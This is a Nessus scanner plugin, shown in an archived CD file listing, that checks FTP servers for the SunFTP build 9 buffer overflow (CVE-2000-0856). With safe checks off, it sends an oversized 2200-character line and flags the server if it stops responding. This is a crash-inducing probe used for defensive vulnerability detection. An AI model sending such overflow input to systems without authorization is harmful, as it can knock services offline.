home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / sunftpd_overflow.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  106 lines

  1. #
  2. # This script was written by Xue Yong Zhi <xueyong@udel.edu>
  3. #
  4. #
  5. # See the Nessus Scripts License for details
  6. #
  7.  
  8. if(description)
  9. {
  10.  script_id(11373);
  11.  script_bugtraq_id(1638);
  12.  script_version ("$Revision: 1.4 $");
  13.  script_cve_id("CVE-2000-0856");
  14.  name["english"] = "SunFTP Buffer Overflow";
  15.  
  16.  script_name(english:name["english"]);
  17.  
  18.  desc["english"] = "
  19. Buffer overflow in SunFTP build 9(1) allows remote attackers to cause
  20. a denial of service or possibly execute arbitrary commands by sending
  21. more than 2100 characters to the server.
  22.  
  23. Solution : Switching to another FTP server, SunFTP is discontinued.
  24.  
  25.  
  26. Risk factor : High";
  27.  
  28.  
  29.  script_description(english:desc["english"]);
  30.  
  31.  
  32.  script_summary(english:"Checks if the remote SunFTP can be buffer overflown",
  33.          francais:"DΘtermine si le serveur SunFTP distant peut etre soumis a un dΘpassement de buffer");
  34.  script_category(ACT_MIXED_ATTACK); 
  35.  script_family(english:"FTP");
  36.  
  37.  
  38.  script_copyright(english:"This script is Copyright (C) 2003 Xue Yong Zhi",
  39.            francais:"Ce script est Copyright (C) 2003 Xue Yong Zhi");
  40.  
  41.  script_dependencie("find_service_3digits.nasl");;
  42.  script_require_ports("Services/ftp", 21);
  43.  exit(0);
  44. }
  45.  
  46. #
  47. # The script code starts here :
  48. #
  49.  
  50. include("ftp_func.inc");
  51.  
  52. port = get_kb_item("Services/ftp");
  53. if(!port)port = 21;
  54. if(!get_port_state(port))exit(0);
  55.  
  56. if(safe_checks())
  57. {
  58.  banner = get_ftp_banner(port: port);
  59.  if(banner)
  60.  {
  61.   if("SunFTP b9"><banner) {
  62.     desc = "
  63. Buffer overflow in SunFTP build 9(1) allows remote attackers to cause
  64. a denial of service or possibly execute arbitrary commands by sending
  65. more than 2100 characters to the server.
  66.  
  67. *** Nessus reports this vulnerability using only
  68. *** information that was gathered. Use caution
  69. *** when testing without safe checks enabled.
  70.  
  71. Solution : Switching to another FTP server, SunFTP is discontinued.
  72.  
  73.  
  74. Risk factor : High";
  75.  
  76.   security_hole(port:port, data:desc);
  77.   }
  78.  }
  79.  
  80.  exit(0);
  81. }
  82.  
  83.  
  84. # Connect to the FTP server
  85. soc = open_sock_tcp(port);
  86. if(soc)
  87. {
  88.   # make sure the FTP server exists
  89.   send(socket:soc, data:string("help\r\n"));
  90.   b = ftp_recv_line(socket:soc);
  91.   if(!b)exit(0);
  92.   if("SunFTP" >!< b)exit(0);
  93.   close(soc);
  94.   
  95.   soc = open_sock_tcp(port);
  96.   longstring=string(crap(2200));
  97.   send(socket:soc, data:string(longstring, "\r\n"));
  98.   b = ftp_recv_line(socket:soc);
  99.   if(!b){
  100.     security_hole(port);
  101.     exit(0);
  102.   } else {
  103.     ftp_close(socket:soc);
  104.   }
  105. }
  106.